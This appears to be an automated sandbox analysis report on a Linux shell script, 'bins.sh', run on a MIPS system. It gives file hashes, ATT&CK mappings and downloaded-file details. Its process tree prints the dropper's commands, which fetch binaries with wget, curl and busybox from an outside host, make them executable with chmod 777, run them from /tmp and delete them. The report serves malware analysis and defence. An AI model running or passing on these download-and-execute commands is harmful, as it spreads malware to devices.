5ab44ebc3b4abc98bbda6ca2054ad10ba1a7c4556728fa4c111c79fa1628e6c1

Analysis

max time kernel
149s
max time network
114s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
17/11/2024, 03:02

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General

Target
bins.sh
Size 10KB
Sample241117-djfefaynet
SHA256 5ab44ebc3b4abc98bbda6ca2054ad10ba1a7c4556728fa4c111c79fa1628e6c1
MD5 86338584eb5dba49902e91b4ba4141cc
SHA1 3decfc16c9a0506a3b11035beff89782ff8b9c68
SHA512 bf72ed987cc234d0c721eb674af7f505a139b9cdfde37b606ce9ad866b1bb6f149b72766eb95f17bb5d8ad478ae2eb62c5b743853fc5532c303ef592242ec5db
SSDEEP 192:YUE1aWQMlyOnM0xA724RPmPKUE1aW6yOnM0xY:fM7A724RPmPNY
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 4 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
778	chmod
805	chmod
827	chmod
835	chmod

Executes dropped EXE 4 IoCs

ioc	pid	Process
/tmp/5PZlIvpRwdmwa0osdjd2u06S6GFOOP3MQM	779	5PZlIvpRwdmwa0osdjd2u06S6GFOOP3MQM
/tmp/YjJcGk0XB0ziXrUM17RwhPNnTFbhZHULJt	807	YjJcGk0XB0ziXrUM17RwhPNnTFbhZHULJt
/tmp/CG0ldbbAsQU0MW9OkSwrxMr3i3hCxMCoNs	828	CG0ldbbAsQU0MW9OkSwrxMr3i3hCxMCoNs
/tmp/wqzwsu3YrDuLqTvO5CCnAre08is1DymT20	836	wqzwsu3YrDuLqTvO5CCnAre08is1DymT20

Reads runtime system information 4 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 10 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
717	curl
782	wget
786	curl
801	busybox
820	curl
826	busybox
839	wget
705	wget
777	busybox
811	wget

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/wqzwsu3YrDuLqTvO5CCnAre08is1DymT20	wget
File opened for modification	/tmp/wqzwsu3YrDuLqTvO5CCnAre08is1DymT20	curl
File opened for modification	/tmp/auRj7EcNo6sgt2qi6UfHk08PQ5knoPJ2ZQ	wget
File opened for modification	/tmp/5PZlIvpRwdmwa0osdjd2u06S6GFOOP3MQM	curl
File opened for modification	/tmp/5PZlIvpRwdmwa0osdjd2u06S6GFOOP3MQM	busybox
File opened for modification	/tmp/YjJcGk0XB0ziXrUM17RwhPNnTFbhZHULJt	wget
File opened for modification	/tmp/YjJcGk0XB0ziXrUM17RwhPNnTFbhZHULJt	curl
File opened for modification	/tmp/YjJcGk0XB0ziXrUM17RwhPNnTFbhZHULJt	busybox
File opened for modification	/tmp/CG0ldbbAsQU0MW9OkSwrxMr3i3hCxMCoNs	wget
File opened for modification	/tmp/CG0ldbbAsQU0MW9OkSwrxMr3i3hCxMCoNs	curl
File opened for modification	/tmp/CG0ldbbAsQU0MW9OkSwrxMr3i3hCxMCoNs	busybox
File opened for modification	/tmp/wqzwsu3YrDuLqTvO5CCnAre08is1DymT20	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:700
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:703
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/5PZlIvpRwdmwa0osdjd2u06S6GFOOP3MQM
  2⤵
  - System Network Configuration Discovery
  PID:705
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/5PZlIvpRwdmwa0osdjd2u06S6GFOOP3MQM
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:717
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/5PZlIvpRwdmwa0osdjd2u06S6GFOOP3MQM
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:777
- /bin/chmod
  chmod 777 5PZlIvpRwdmwa0osdjd2u06S6GFOOP3MQM
  2⤵
  - File and Directory Permissions Modification
  PID:778
- /tmp/5PZlIvpRwdmwa0osdjd2u06S6GFOOP3MQM
  ./5PZlIvpRwdmwa0osdjd2u06S6GFOOP3MQM
  2⤵
  - Executes dropped EXE
  PID:779
- /bin/rm
  rm 5PZlIvpRwdmwa0osdjd2u06S6GFOOP3MQM
  2⤵
  PID:781
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/YjJcGk0XB0ziXrUM17RwhPNnTFbhZHULJt
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:782
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/YjJcGk0XB0ziXrUM17RwhPNnTFbhZHULJt
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:786
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/YjJcGk0XB0ziXrUM17RwhPNnTFbhZHULJt
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:801
- /bin/chmod
  chmod 777 YjJcGk0XB0ziXrUM17RwhPNnTFbhZHULJt
  2⤵
  - File and Directory Permissions Modification
  PID:805
- /tmp/YjJcGk0XB0ziXrUM17RwhPNnTFbhZHULJt
  ./YjJcGk0XB0ziXrUM17RwhPNnTFbhZHULJt
  2⤵
  - Executes dropped EXE
  PID:807
- /bin/rm
  rm YjJcGk0XB0ziXrUM17RwhPNnTFbhZHULJt
  2⤵
  PID:810
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/CG0ldbbAsQU0MW9OkSwrxMr3i3hCxMCoNs
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:811
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/CG0ldbbAsQU0MW9OkSwrxMr3i3hCxMCoNs
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:820
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/CG0ldbbAsQU0MW9OkSwrxMr3i3hCxMCoNs
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:826
- /bin/chmod
  chmod 777 CG0ldbbAsQU0MW9OkSwrxMr3i3hCxMCoNs
  2⤵
  - File and Directory Permissions Modification
  PID:827
- /tmp/CG0ldbbAsQU0MW9OkSwrxMr3i3hCxMCoNs
  ./CG0ldbbAsQU0MW9OkSwrxMr3i3hCxMCoNs
  2⤵
  - Executes dropped EXE
  PID:828
- /bin/rm
  rm CG0ldbbAsQU0MW9OkSwrxMr3i3hCxMCoNs
  2⤵
  PID:830
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/wqzwsu3YrDuLqTvO5CCnAre08is1DymT20
  2⤵
  - Writes file to tmp directory
  PID:831
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/wqzwsu3YrDuLqTvO5CCnAre08is1DymT20
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:832
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/wqzwsu3YrDuLqTvO5CCnAre08is1DymT20
  2⤵
  - Writes file to tmp directory
  PID:834
- /bin/chmod
  chmod 777 wqzwsu3YrDuLqTvO5CCnAre08is1DymT20
  2⤵
  - File and Directory Permissions Modification
  PID:835
- /tmp/wqzwsu3YrDuLqTvO5CCnAre08is1DymT20
  ./wqzwsu3YrDuLqTvO5CCnAre08is1DymT20
  2⤵
  - Executes dropped EXE
  PID:836
- /bin/rm
  rm wqzwsu3YrDuLqTvO5CCnAre08is1DymT20
  2⤵
  PID:838
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/auRj7EcNo6sgt2qi6UfHk08PQ5knoPJ2ZQ
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:839

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

5PZlIvpRwdmwa0osdjd2u06S6GFOOP3MQM

Path /tmp/5PZlIvpRwdmwa0osdjd2u06S6GFOOP3MQM
Size 112KB
SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
MD5 05d7857dcead18bbd86d2935f591873c
SHA1 34d18f41ef35f93d5364ce3e24d74730a4e91985
SHA512 d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e
SSDEEP 3072:o0pHqiUxCoypP1Xyukbt56UFQ71SMSmUHM5RmNtbm9c:REOtiukxc3SmUHM5Rm/bm9c
MD5 SHA1 SHA512 SSDEEP

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CG0ldbbAsQU0MW9OkSwrxMr3i3hCxMCoNs

Path /tmp/CG0ldbbAsQU0MW9OkSwrxMr3i3hCxMCoNs
Size 122KB
SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
MD5 cd3d4b9c643e5b473fb4d88ed05f0716
SHA1 64ee7a97418583d759eaea8000890cc3bae1b5f4
SHA512 164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52
SSDEEP 3072:QON+vZgnSgtpg1sgnHgS4rpq26zEz2IyombPQbZBmf35ZYp:Q0bY3AH36y2ambPQbZBm/5ZYp
MD5 SHA1 SHA512 SSDEEP

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YjJcGk0XB0ziXrUM17RwhPNnTFbhZHULJt

Path /tmp/YjJcGk0XB0ziXrUM17RwhPNnTFbhZHULJt
Size 127KB
SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
MD5 89077b7bd4bcafca7713be43635c4862
SHA1 fc02edb8fba29ea8ee99e6157ef8560334530052
SHA512 1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1
SSDEEP 3072:fgO463guSRVw5OhgfgnoHOIcv6Gosjr7fxmxKjQVnaMk9H8p:4ZmgoHONvposj3fxmxKjQVnal9H8p
MD5 SHA1 SHA512 SSDEEP

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auRj7EcNo6sgt2qi6UfHk08PQ5knoPJ2ZQ

Path /tmp/auRj7EcNo6sgt2qi6UfHk08PQ5knoPJ2ZQ
Size 79KB
SHA256 a6cec3a6b0d9963a581cf87c2584163ef6a5a8df45896cc9e44a10f9968ca620
MD5 e3b1c404c884e563ff4c3a75d8fe27a3
SHA1 5fdc7ede8e09c0062b82dc060915e2421a086b03
SHA512 2ff71f11644e04fcd4aaa6516cc2123efb3e38fb19520ad2bfaca64eb88e27a9827d88cc38126ec237369e1cb7913141c423ffcaca713125ab358328ce9aed7e
SSDEEP 1536:/7doo2ZF7C8GWbLLs8hcD5LLNqceOjho618rjHHgQ+b0O:/hn2ZF7rLLveDuceOZ8rA
MD5 SHA1 SHA512 SSDEEP

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wqzwsu3YrDuLqTvO5CCnAre08is1DymT20

Path /tmp/wqzwsu3YrDuLqTvO5CCnAre08is1DymT20
Size 151KB
SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
MD5 6c583043d91c55aa470c08c87058e917
SHA1 abf65a5b9bba69980278ad09356e53de8bb89439
SHA512 82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5
SSDEEP 3072:iDTElsfhWriM4eiANlb5calmCjXswi5itRx2p:Of4HZLNlbvmCjXswi5i3x2p
MD5 SHA1 SHA512 SSDEEP

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads